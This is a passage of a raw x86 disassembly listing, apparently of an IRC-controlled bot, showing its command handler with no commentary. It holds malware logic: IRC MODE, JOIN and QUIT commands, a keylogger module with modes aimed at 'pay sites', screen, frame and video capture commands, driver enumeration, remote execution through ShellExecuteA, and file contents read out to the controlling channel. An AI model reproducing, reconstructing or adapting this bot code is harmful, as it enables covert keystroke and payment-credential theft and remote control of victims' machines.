		jle	loc_415956
		push	edi
		call	sub_41791F
		cmp	eax, 5DCh
		pop	ecx
		jge	loc_415956
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_425A78
		push	edi
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		push	dword_446E1C[eax]
		call	sub_40DBCA
		push	esi
		push	edi
		push	offset dword_4361A8
		jmp	loc_4139F5
; ---------------------------------------------------------------------------


loc_413A84:				; CODE XREF: sub_40F6F1+24DFj
					; sub_40F6F1+24F6j
		cmp	[ebp+var_C], ebx
		jz	loc_415956
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417980
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_415956
		push	edi
		call	sub_41791F
		test	eax, eax
		pop	ecx
		jle	loc_415956
		push	edi
		call	sub_41791F
		cmp	eax, 5DCh
		pop	ecx
		jge	loc_415956
		push	esi
		push	offset dword_425A78
		push	edi
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		push	dword_446E1C[eax]
		call	sub_40DBCA
		push	esi
		push	edi
		push	offset dword_43617C
		jmp	loc_4139F5
; ---------------------------------------------------------------------------


loc_413AEF:				; CODE XREF: sub_40F6F1+24B1j
					; sub_40F6F1+24C8j
		cmp	[ebp+var_C], ebx
		jz	loc_415956
		push	edi
		push	[ebp+var_C]
		call	sub_417980
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_415956
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		push	esi
		push	offset dword_436144


loc_413B21:				; CODE XREF: sub_40F6F1+50F6j
					; sub_40F6F1+510Fj ...
		call	sub_40C56B


loc_413B26:				; CODE XREF: sub_40F6F1+449Ej
		add	esp, 14h
		jmp	loc_415956
; ---------------------------------------------------------------------------


loc_413B2E:				; CODE XREF: sub_40F6F1+2483j
					; sub_40F6F1+249Aj
		push	[ebp+var_90]
		push	offset dword_438134
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAB8
		push	[ebp+arg_18]
		push	offset dword_436138
		push	[ebp+arg_4]
		call	sub_40DBCA
		push	edi
		call	sub_41791F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 7C802442h
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		push	offset dword_436114
		call	sub_40C4F7
		jmp	short loc_413B26
; ---------------------------------------------------------------------------


loc_413B91:				; CODE XREF: sub_40F6F1+2455j
					; sub_40F6F1+246Cj
		cmp	[ebp+var_C], ebx
		jz	loc_415956
		push	edi
		call	sub_417AF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417980
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_415956
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_436930
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40DC10
		push	esi
		push	edi
		push	offset dword_4360E8
		call	sub_40C56B
		add	esp, 2Ch
		jmp	loc_415956
; ---------------------------------------------------------------------------


loc_413BFF:				; CODE XREF: sub_40F6F1+2427j
					; sub_40F6F1+243Ej
		cmp	[ebp+var_C], ebx
		jz	loc_415956
		push	edi
		call	sub_417AF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417980
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_415956
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40DC10
		push	esi
		push	edi
		push	offset dword_4360BC
		call	sub_40C56B
		jmp	loc_41283E
; ---------------------------------------------------------------------------


loc_413C52:				; CODE XREF: sub_40F6F1+23F9j
					; sub_40F6F1+2410j
		cmp	[ebp+var_C], ebx
		jz	loc_40FAB8
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417980
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40FAB8
		push	eax
		push	edi
		call	sub_40C3FF
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_436090
		push	eax
		call	sub_4173AC
		jmp	loc_413469
; ---------------------------------------------------------------------------


loc_413C8E:				; CODE XREF: sub_40F6F1+23B9j
					; sub_40F6F1+23D0j
		push	edi
		push	[ebp+arg_1C]
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415956
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_413D2B
		push	esi
		push	[ebp+var_C]
		call	sub_417980
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_413D13
		push	esi
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_4362BC
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_4182F0
		push	esi
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_43605C
		push	eax
		call	sub_4173AC
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_41545E
; ---------------------------------------------------------------------------


loc_413D13:				; CODE XREF: sub_40F6F1+45CAj
		lea	eax, [ebp+var_2DC]
		push	offset dword_43601C
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		jmp	loc_41545E
; ---------------------------------------------------------------------------


loc_413D2B:				; CODE XREF: sub_40F6F1+45B9j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40C061
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DC10
		push	edi
		push	offset dword_435FF4
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 24h
		jmp	loc_41545E
; ---------------------------------------------------------------------------


loc_413D72:				; CODE XREF: sub_40F6F1+238Bj
					; sub_40F6F1+23A2j
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413DD5
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413DC2
		push	[ebp+esi+var_8C]
		call	sub_40851A
		cmp	eax, 1
		pop	ecx
		jnz	short loc_413DBB
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_435FB0
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		jmp	short loc_413DD5
; ---------------------------------------------------------------------------


loc_413DBB:				; CODE XREF: sub_40F6F1+46ABj
		push	offset dword_435F74
		jmp	short loc_413DC7
; ---------------------------------------------------------------------------


loc_413DC2:				; CODE XREF: sub_40F6F1+4699j
		push	offset dword_435F2C


loc_413DC7:				; CODE XREF: sub_40F6F1+46CFj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_413DD5:				; CODE XREF: sub_40F6F1+4690j
					; sub_40F6F1+46C8j
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413E6C
		mov	[ebp+arg_0], ebx


loc_413DED:				; CODE XREF: sub_40F6F1+4766j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+arg_0]
		call	dword_4413E8
		test	eax, eax
		jz	short loc_413E50
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+arg_0]
		push	offset dword_435EF0
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DC10
		add	esp, 28h


loc_413E50:				; CODE XREF: sub_40F6F1+471Fj
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 0Ah
		jl	short loc_413DED
		lea	eax, [ebp+var_2DC]
		push	offset dword_435EBC
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_413E6C:				; CODE XREF: sub_40F6F1+46F3j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413F12
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413EFF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_413EFF
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_413EFF
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_413EFF
		push	eax
		call	sub_41791F
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41791F
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_41791F
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_408755
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413EF8
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_435E78
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		jmp	short loc_413F12
; ---------------------------------------------------------------------------


loc_413EF8:				; CODE XREF: sub_40F6F1+47E8j
		push	offset dword_435E34
		jmp	short loc_413F04
; ---------------------------------------------------------------------------


loc_413EFF:				; CODE XREF: sub_40F6F1+4797j
					; sub_40F6F1+47A0j ...
		push	offset dword_435DEC


loc_413F04:				; CODE XREF: sub_40F6F1+480Cj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_413F12:				; CODE XREF: sub_40F6F1+478Aj
					; sub_40F6F1+4805j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41455C
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_413FAB
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_413FAB
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_413FAB
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_413FAB
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_413FAB
		push	esi
		call	sub_41791F
		pop	ecx
		push	eax
		push	edi
		call	sub_41791F
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_41791F
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41791F
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_40894E
		add	esp, 14h
		test	eax, eax
		jnz	short loc_413FA1
		push	[ebp+arg_18]
		push	offset dword_435DB0
		jmp	loc_4121DF
; ---------------------------------------------------------------------------


loc_413FA1:				; CODE XREF: sub_40F6F1+48A1j
		push	offset dword_435D60
		jmp	loc_41454E
; ---------------------------------------------------------------------------


loc_413FAB:				; CODE XREF: sub_40F6F1+4842j
					; sub_40F6F1+4850j ...
		push	offset dword_435D14
		jmp	loc_41454E
; ---------------------------------------------------------------------------


loc_413FB5:				; CODE XREF: sub_40F6F1+208Cj
					; sub_40F6F1+20A3j
		push	edi
		push	1Bh
		push	offset aKeylog_0 ; "Keylog"
		push	offset a_n_z_m_Keylog_ ; ".n.z.m. (keylog.p.l.g) .»»."
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jmp	loc_41078F
; ---------------------------------------------------------------------------


loc_413FD6:				; CODE XREF: sub_40F6F1+205Ej
					; sub_40F6F1+2075j
		push	1Bh
		call	sub_4170A0
		test	eax, eax
		pop	ecx
		jle	short loc_413FEC
		push	offset a_n_z_m_Keylo_0 ; ".n.z.m. (keylog.p.l.g) .»».  Already ru"...
		jmp	loc_4115C4
; ---------------------------------------------------------------------------


loc_413FEC:				; CODE XREF: sub_40F6F1+48EFj
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		push	offset aPay	; "pay"
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414068
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_46C], 1
		cmp	esi, ebx
		jnz	short loc_41404F
		mov	esi, offset aSodoma_3s ; "##sodoma_3s"
		push	offset byte_43C63C
		push	esi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41404F
		mov	esi, [ebp+var_8C]


loc_41404F:				; CODE XREF: sub_40F6F1+4940j
					; sub_40F6F1+4956j
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41792A
		push	offset a_n_z_m_Keylo_1 ; ".n.z.m. (keylog.p.l.g) .»».  Pay sites "...
		jmp	short loc_4140BB
; ---------------------------------------------------------------------------


loc_414068:				; CODE XREF: sub_40F6F1+492Bj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414138
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_4140A4
		mov	esi, offset aSodoma_3s ; "##sodoma_3s"
		push	offset byte_43C63C
		push	esi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4140A4
		mov	esi, [ebp+var_8C]


loc_4140A4:				; CODE XREF: sub_40F6F1+4995j
					; sub_40F6F1+49ABj
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41792A
		push	offset a_n_z_m_Keylo_2 ; ".n.z.m. (keylog.p.l.g) .»».  Normal key"...


loc_4140BB:				; CODE XREF: sub_40F6F1+4975j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 14h
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	1Bh
		push	eax
		call	sub_416E58
		add	esp, 0Ch
		mov	[ebp+var_4F0], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_402368
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_4F0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_414127


loc_414111:				; CODE XREF: sub_40F6F1+4A34j
		cmp	[ebp+var_460], ebx
		jnz	loc_4115D2
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_414111
; ---------------------------------------------------------------------------


loc_414127:				; CODE XREF: sub_40F6F1+4A1Ej
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset a_n_z_m_Keylo_3 ; ".n.z.m. (keylog.p.l.g) .»».  Failed to "...
		jmp	loc_4145E5
; ---------------------------------------------------------------------------


loc_414138:				; CODE XREF: sub_40F6F1+4986j
		push	offset a_n_z_m_Keylo_4 ; ".n.z.m. (keylog.p.l.g) .»».  Unknow mod"...
		jmp	loc_412573
; ---------------------------------------------------------------------------


loc_414142:				; CODE XREF: sub_40F6F1+1D76j
					; sub_40F6F1+1D8Dj
		push	offset aR	; "r"
		push	edi
		call	sub_41823A
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4141BC
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_4186EC
		add	esp, 0Ch


loc_41416B:				; CODE XREF: sub_40F6F1+4AA9j
		test	eax, eax
		jz	short loc_41419C
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DC10
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_4186EC
		add	esp, 20h
		jmp	short loc_41416B
; ---------------------------------------------------------------------------


loc_41419C:				; CODE XREF: sub_40F6F1+4A7Cj
		push	esi
		call	sub_4180DC
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_435B90
		push	eax
		call	sub_4173AC
		add	esp, 10h
		jmp	loc_411A54
; ---------------------------------------------------------------------------


loc_4141BC:				; CODE XREF: sub_40F6F1+4A62j
		push	edi
		push	offset dword_435B60


loc_4141C2:				; CODE XREF: sub_40F6F1+4DF4j
					; sub_40F6F1+4DFEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		jmp	loc_411A33
; ---------------------------------------------------------------------------


loc_4141D6:				; CODE XREF: sub_40F6F1+1D48j
					; sub_40F6F1+1D5Fj
		cmp	[ebp+var_C], ebx
		jz	loc_415956
		push	edi
		push	[ebp+var_C]
		call	sub_417980
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_415956
		push	offset asc_4285AC ; "\n"
		push	esi
		call	sub_417A10
		push	esi
		call	sub_40B82D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_414216
		push	offset dword_435B24
		jmp	loc_41454E
; ---------------------------------------------------------------------------


loc_414216:				; CODE XREF: sub_40F6F1+4B19j
		push	esi
		push	offset dword_435AFC
		jmp	loc_41544F
; ---------------------------------------------------------------------------


loc_414221:				; CODE XREF: sub_40F6F1+1D1Aj
					; sub_40F6F1+1D31j
		cmp	[ebp+var_C], ebx
		jz	loc_415956
		push	edi
		push	[ebp+var_C]
		call	sub_417980
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_415956
		push	eax
		call	sub_40AA6F
		test	eax, eax
		pop	ecx
		jnz	short loc_414252
		push	offset unk_435AD0
		jmp	loc_41454E
; ---------------------------------------------------------------------------


loc_414252:				; CODE XREF: sub_40F6F1+4B55j
		push	offset dword_435AA4
		jmp	loc_41454E
; ---------------------------------------------------------------------------


loc_41425C:				; CODE XREF: sub_40F6F1+1CECj
					; sub_40F6F1+1D03j
		push	7Fh
		lea	eax, [ebp+var_6EC]
		push	edi
		push	eax
		call	sub_4182F0
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_41428B
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch


loc_41428B:				; CODE XREF: sub_40F6F1+4B86j
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_4182F0
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435A7C
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	15h
		push	eax
		call	sub_416E58
		add	esp, 24h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40C1D5
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_414329


loc_414313:				; CODE XREF: sub_40F6F1+4C36j
		cmp	[ebp+var_560], ebx
		jnz	loc_41545E
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_414313
; ---------------------------------------------------------------------------


loc_414329:				; CODE XREF: sub_40F6F1+4C20j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_435A30
		jmp	loc_41544F
; ---------------------------------------------------------------------------


loc_41433A:				; CODE XREF: sub_40F6F1+1CBEj
					; sub_40F6F1+1CD5j
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_4062F7
		push	edi
		push	offset dword_435A0C
		jmp	loc_4139F5
; ---------------------------------------------------------------------------


loc_414355:				; CODE XREF: sub_40F6F1+1C90j
					; sub_40F6F1+1CA7j
		push	14h
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		call	sub_417430
		push	edi
		lea	eax, [ebp+var_6F4]
		push	offset dword_42433C
		push	eax
		call	sub_4173AC
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5F0]
		push	80h
		push	eax
		call	sub_41792A
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4359D8
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416E58
		add	esp, 40h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40CAB4
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_414425


loc_41440F:				; CODE XREF: sub_40F6F1+4D32j
		cmp	[ebp+var_560], ebx
		jnz	loc_4157D0
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_41440F
; ---------------------------------------------------------------------------


loc_414425:				; CODE XREF: sub_40F6F1+4D1Cj
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset dword_438038
		jmp	loc_4157C1
; ---------------------------------------------------------------------------


loc_414436:				; CODE XREF: sub_40F6F1+1C62j
					; sub_40F6F1+1C79j
		push	edi
		nop
		call	near ptr 7C831EABh
		test	eax, eax
		jz	short loc_414449
		push	edi
		push	offset dword_4359AC
		jmp	short loc_414454
; ---------------------------------------------------------------------------


loc_414449:				; CODE XREF: sub_40F6F1+4D4Ej
		push	offset dword_43649C
		call	sub_40A9AA
		push	eax


loc_414454:				; CODE XREF: sub_40F6F1+4D56j
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 10h
		jmp	loc_411A33
; ---------------------------------------------------------------------------


loc_41446D:				; CODE XREF: sub_40F6F1+1C34j
					; sub_40F6F1+1C4Bj
		push	edi
		call	sub_41791F
		push	eax
		call	sub_415EA0
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_41448A
		push	offset unk_435974
		jmp	short loc_41448F
; ---------------------------------------------------------------------------


loc_41448A:				; CODE XREF: sub_40F6F1+4D90j
		push	offset unk_435930


loc_41448F:				; CODE XREF: sub_40F6F1+4D97j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411A57
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DC10
		add	esp, 14h
		jmp	loc_411A57
; ---------------------------------------------------------------------------


loc_4144C8:				; CODE XREF: sub_40F6F1+1C06j
					; sub_40F6F1+1C1Dj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_415B93
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4144EA
		push	offset unk_4358FC
		jmp	loc_4141C2
; ---------------------------------------------------------------------------


loc_4144EA:				; CODE XREF: sub_40F6F1+4DEDj
		push	offset unk_4358BC
		jmp	loc_4141C2
; ---------------------------------------------------------------------------


loc_4144F4:				; CODE XREF: sub_40F6F1+1BD8j
					; sub_40F6F1+1BEFj
		push	edi
		call	dword_4413F8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_41452E
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_441370	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_414549
		push	dword ptr [eax]


loc_414517:				; CODE XREF: sub_40F6F1+4E56j
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_435890
		push	eax
		call	sub_4173AC
		add	esp, 10h
		jmp	short loc_41455C
; ---------------------------------------------------------------------------


loc_41452E:				; CODE XREF: sub_40F6F1+4E10j
		push	edi
		call	dword_44143C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_414549
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_441444	; inet_ntoa
		push	eax
		jmp	short loc_414517
; ---------------------------------------------------------------------------


loc_414549:				; CODE XREF: sub_40F6F1+4E22j
					; sub_40F6F1+4E46j
		push	offset dword_435858


loc_41454E:				; CODE XREF: sub_40F6F1+3F25j
					; sub_40F6F1+40B1j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_41455C:				; CODE XREF: sub_40F6F1+2AFDj
					; sub_40F6F1+3C34j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41545E
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DC10
		add	esp, 14h
		jmp	loc_41545E
; ---------------------------------------------------------------------------


loc_414586:				; CODE XREF: sub_40F6F1+1BAAj
					; sub_40F6F1+1BC1j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_4182F0
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_435824
		push	eax
		call	sub_4173AC
		add	esp, 18h
		jmp	loc_4115D2
; ---------------------------------------------------------------------------


loc_4145AB:				; CODE XREF: sub_40F6F1+1B7Cj
					; sub_40F6F1+1B93j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_44132C	; ShellExecuteA
		test	eax, eax
		push	edi
		jz	short loc_4145CB
		push	offset unk_4357E8
		jmp	loc_4141C2
; ---------------------------------------------------------------------------


loc_4145CB:				; CODE XREF: sub_40F6F1+4ECEj
		push	offset unk_4357A4
		jmp	loc_4141C2
; ---------------------------------------------------------------------------


loc_4145D5:				; CODE XREF: sub_40F6F1+1B4Ej
					; sub_40F6F1+1B65j
		mov	al, [edi]
		mov	byte_42ECF8, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_435770


loc_4145E5:				; CODE XREF: sub_40F6F1+1E9Fj
					; sub_40F6F1+1EC9j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		jmp	loc_4115D2
; ---------------------------------------------------------------------------


loc_4145F9:				; CODE XREF: sub_40F6F1+1B20j
					; sub_40F6F1+1B37j
		push	edi
		call	sub_41791F
		test	eax, eax
		pop	ecx
		jle	loc_415956
		push	edi
		call	sub_41791F
		cmp	eax, 5DCh
		pop	ecx
		jge	loc_415956
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	1
		push	eax
		push	[ebp+arg_4]
		call	sub_4162D6
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436208
		push	eax
		call	sub_4173AC
		add	esp, 20h
		jmp	loc_41393F
; ---------------------------------------------------------------------------


loc_414647:				; CODE XREF: sub_40F6F1+1AF2j
					; sub_40F6F1+1B09j
		push	edi
		call	sub_41791F
		test	eax, eax
		pop	ecx
		jle	loc_40FAB8
		push	edi
		call	sub_41791F
		cmp	eax, 5DCh
		pop	ecx
		jge	loc_40FAB8
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		push	dword_446E1C[eax]
		call	sub_40DBCA
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 7C802442h
		push	edi
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		push	dword_446E1C[eax]
		call	dword_441450	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		push	dword_446E24[eax]
		nop
		call	near ptr 7C81CE03h
		push	edi
		call	sub_41791F
		imul	eax, 234h
		push	edi
		mov	dword_446E24[eax], ebx
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_446C10[eax], bl
		jmp	loc_40FAB8
; ---------------------------------------------------------------------------


loc_4146F2:				; CODE XREF: sub_40F6F1+1AC4j
					; sub_40F6F1+1ADBj
		push	edi
		push	offset aAll	; "all"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414721
		call	sub_417021
		cmp	eax, ebx
		jle	short loc_414717
		push	eax
		push	offset dword_435724
		jmp	loc_412258
; ---------------------------------------------------------------------------


loc_414717:				; CODE XREF: sub_40F6F1+5019j
		push	offset dword_4356EC
		jmp	loc_412573
; ---------------------------------------------------------------------------


loc_414721:				; CODE XREF: sub_40F6F1+5010j
